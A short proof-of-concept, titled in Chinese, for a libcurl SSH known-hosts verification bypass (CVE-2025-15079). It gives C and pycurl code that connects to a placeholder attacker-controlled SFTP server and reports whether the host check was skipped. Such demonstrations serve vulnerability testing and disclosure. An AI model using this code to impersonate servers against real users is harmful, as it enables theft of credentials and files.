CVE-2025-15079 libcurl SSH传输已知主机验证绕过漏洞

// CVE-2025-15079 PoC - libcurl SSH known_hosts bypass // This PoC demonstrates how libcurl accepts hosts not in user-specified known_hosts // if they are present in the libssh global known_hosts file #include <stdio.h> #include <curl/curl.h> int main(void) { CURL *curl; CURLcode res; // Initialize libcurl curl = curl_easy_init(); if(curl) { // Set user-specified known_hosts file (should only trust these hosts) curl_easy_setopt(curl, CURLOPT_SSH_KNOWNHOSTS, "/path/to/user_known_hosts"); // Target malicious/untrusted SSH server curl_easy_setopt(curl, CURLOPT_URL, "sftp://attacker-controlled-server/file.txt"); // Credentials curl_easy_setopt(curl, CURLOPT_USERPWD, "user:password"); // This connection will succeed even if attacker-server is NOT in user_known_hosts // because libcurl/libssh checks the GLOBAL known_hosts file res = curl_easy_perform(curl); if(res != CURLE_OK) { printf("Connection failed: %s\n", curl_easy_strerror(res)); } else { printf("VULNERABLE: Connection accepted despite host not in user_known_hosts!\n"); } curl_easy_cleanup(curl); } return 0; } // Python equivalent using pycurl """ import pycurl c = pycurl.Curl() c.setopt(pycurl.URL, "sftp://target-server/sensitive-file") c.setopt(pycurl.SSH_KNOWNHOSTS, "/path/to/user_known_hosts") c.setopt(pycurl.USERPWD, "username:password") # This will bypass user-specified known_hosts if host exists in global known_hosts c.perform() """